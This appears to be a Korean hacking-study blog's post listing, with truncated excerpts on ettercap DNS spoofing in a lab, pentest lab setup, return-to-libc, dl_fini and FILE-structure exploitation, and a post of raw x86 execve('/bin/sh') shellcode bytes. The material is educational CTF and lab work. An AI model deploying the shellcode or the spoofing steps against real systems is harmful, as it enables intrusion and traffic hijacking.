목록시스템 (15)
ghkdtlwns987
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/t0pxi/btqUtV5jyVM/2cGt3YthMyYrY4k3qtzaTK/img.png)
대충 이런 페이지를 하나 만들고 DNS 스푸핑으로 이 사이트로 유도 해보고자 한다. 방법이 여럿 있는데, 난 ettercap 을 이용해 보겠다. /etc/ettercap/etter.dns 파일을 열고 www.naver.com '공격자 ip'를 적어주자. sudo ettercap -G 이런 창이 뜬다. 여기서 빨간 네모 친 부분을 클릭하면 시작된다. 시작하면 plugins 를 클릭하면 Manage 어쩌고가 있는데, Manage 클릭 dns_spoof 더블클릭 빨간색 네모는 피해자 Gateway, 노란색 네모는 피해자 IP 이다. 각각 Target 1, Target2 에 넣어주면 된다. 그리고 피해자 PC 에서 naver.com 에 들어가 확인해 보자. 페이지가 연결되지 않는다. naver.com 으로 pi..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cADy7Y/btqUtWbOrpN/yQShoSFvInKbzW9MDK0P6K/img.png)
모의해킹 실습을 해 보자. 먼저 피해자 컴퓨터는 원도우 7이고, 방화벽 적용X, 웹 서버 X 인 상태로 진행할 것이다. 실습을 진행하기 앞서, Vmware 에서 NAT 설정을 꼭 해주어야 한다. 또한, 피해자 컴퓨터(윈도우) 에서 방화벽 해제를 하도록 하자. (윈도우 방화벽은 ping-icmp 를 차단하기 때문) 만약 방화벽을 해제하지 않으면 피해자 PC(윈도우) -> 공격자(Kali) 까지 ping 은 나가는데, 공격자 PC(Kali) -> 피해자(윈도우) 의 핑은 나가지 않게 된다. (왜그런지 모르겠으면 방화벽에 대해 공부하고 오자.) 쨋든 위와 같은 환경을 구축했으면 서로 ping 이 나가는지 확인해 보자. 서로 ping 이 나가는지 확인했으면 이제 arp_spoofing, ip_spoofing, ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/oVfcD/btqSTIlZsyU/6PEiSgGsL10JkBPl628Hzk/img.png)
ARM 은 IDA 에서도 알아서 해주는데, gdb에서는 잘 안된다. (보기에도 불편하고...) 그래서 gdb에서도 분석할 수 있도록 글을 적고자 한다. (Ubuntu18.04) 1. gcc 설치 sudo apt-get install gcc-7-multilib-arm-linux-gnueabi -y sudo apt-get install gcc-7-multilib-arm-linux-gnueabihf -y 2.qemu 설치 sudo apt-get install qemu-user-static sudo apt-get install gdb-multiarch 보통 여기까지 설치하고 나면 기존에 실행안되던 ARM 프로그램들이 작동 될 것이다. 혹시 안된다면 qemu-arm-static -L /usr/arm-linux-g..
내가 시스템분야를 공부하다 보니 무엇을 공부하는지, 어디까지 공부해야하는지 물어보는 사람이 몇몇 있다. 나도 처음엔 그랬기에 그냥 내 생각을 적어보고자 한다. 나보다 고수분들도 많고, 나도 잘 하지는 못하지만, 지극히 개인적인 생각을 적어보겠다. 1. C언어 - 무조건 해야 한다. (계속 공부해도 부족한게 C언어이다.) (내가 했던 것) 열혈 C - C언어 코딩도장 - KNK - 윤성우 자료구조...(현재 진행) -그냥 하세요, 보안공부하는 사람 중에 C언어를 모르는 사람은 없어요 ㅠㅠ (IDA, Ghidra 분석할때 포인터 공부 제대로 안해놓으면 멘붕옴 ㅋㅋ...) 2. python - 이것도 꼭 알아야 함. 점프 투 파이썬(문자열 다루는 방식, 리스트 접근 등...) - 우선 이정도만 공부해보도록 하..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bAryVP/btqRqQmlh37/9P9GuR5EV5MC0wmKkG1zA0/img.png)
우선 리눅스롤 power_off 한 후에 Edit 창에 들어가서 Expand 를 누른다. (난 suspend라서 안됨)(그냥 보여주려고) 용량 설정 후 리눅스에 들어간다. sudo apt-get install gparted 설치 하고 sudo gparted 명령어 치기 위의 창에서 드리고 해서 용량을 설정 하고 빨간 부분을 클릭하면 성공적으로 용량이 확장된다.
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/dls269/btqPRCbTl3k/WadC9rMJFaLbnB24wXw0F1/img.png)
시험기간이고, 시험 3일 남았는데, 멘탈 터져서 유튜브 보던 중, RTL 에 대해 물어보는 사람이 있어서 설명 해 준 김에 글을 적어보았다. ㅎㅎ 꽤 많은 사람들이 RTL을 설명할 때 왜 Dummy 값을 넣어주어야 하는지 모르는 사람이 꽤 있는거 같아서 글을 써보고자 한다. (Dummy 에 들어가는 곳은 RET 에 넣어준 함수가 종료된 후 호출하는 주소 라는 정도만 알고있는 것 같다.) RTL 에서 Dummy() 값에 왜 넣어주는지, 이유가 무엇인지, 한번 알아보도록 하자. 사실 이러한 원리는 스택 구조를 알아야 한다. 그 전에 leave, ret, call 명령어가 무엇을 의미하는지 보고 넘어가겠다. leave = mov esp ebp pop ebp ret = pop eip jmp eip call = ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/buV15j/btqNHZUNgX3/vgKvODFqASe9bEozTf4AR0/img.png)
pwnable.tw 문제를 푸는데, .fini 는 따로 정리를 안해서 정리만 간단히? 하도록 하겠다. gdb로 프로그렘을 분석하다 본 사람들이면 __libc_csu_init() , .fini, .init 과 같은 함수들을 자주 봤을 것이다. 하지만 이게 무슨 함수인지 모르는 사람이 있다. __libc_csu_init 은 rtc 로 exploit 할 수 있고 , .init 또한 주소를 변경해 exploit 할 수 있는데, 이번엔 dl_fini로 exploit 하는 방법을 언급하고자 한다. dl_fini 를 보면 call 하는 부분이 있다. call 하는 명령에서 r12의 주소가 스택상에 존재한다. -> bof 나 fsb 로도 exploit 할 수 있다. 코드를 따로 가져오긴 좀 귀찮으니 pwnable.tw..
0x01. 가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 bytes : 25 미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 bytes : 31 미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()) 까지 포함..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/LUSzJ/btqM9PKQkrl/PzXcSbF4798uFhHke4UhQk/img.png)
이번엔 stdout 으로 libc 를 leak 하는 방법에 대해 알아보겠다. stdout 으로 leak 하기 위해선 stdout 구조체에 값을 입력할 수 있어야 한다. 1. stdout 이란? stdout 은 '표준 출력 스트림' 이다. printf 나, puts 등과 같은 함수를 사용할 시 stdout이 사용된다. 얘를 들어보자면 puts("ABCD") 와 같은 함수가 실행되면 내부적으로 write_sys 를 호출하여 출력이 되는데 , write_sys 는 'kernel buffer' 을 의미한다. 하지만 문자열을 출력할 때마다 커널버퍼를 사용하면 메모리 사용이 상당히 비효율적이다. 따라서 glibc 내부의 임시버퍼에 해당 문자열을 임시로 저장하는 방식을 이용하는데, _IO_2_1_stdout 는 _I..
이번엔 _IO_flush_all_lockp 함수로 Exploit 하는 방법에 대해 공부해보도록 하겠다. #define fflush(s) _IO_flush_all_lockp (0) fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode _IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_da..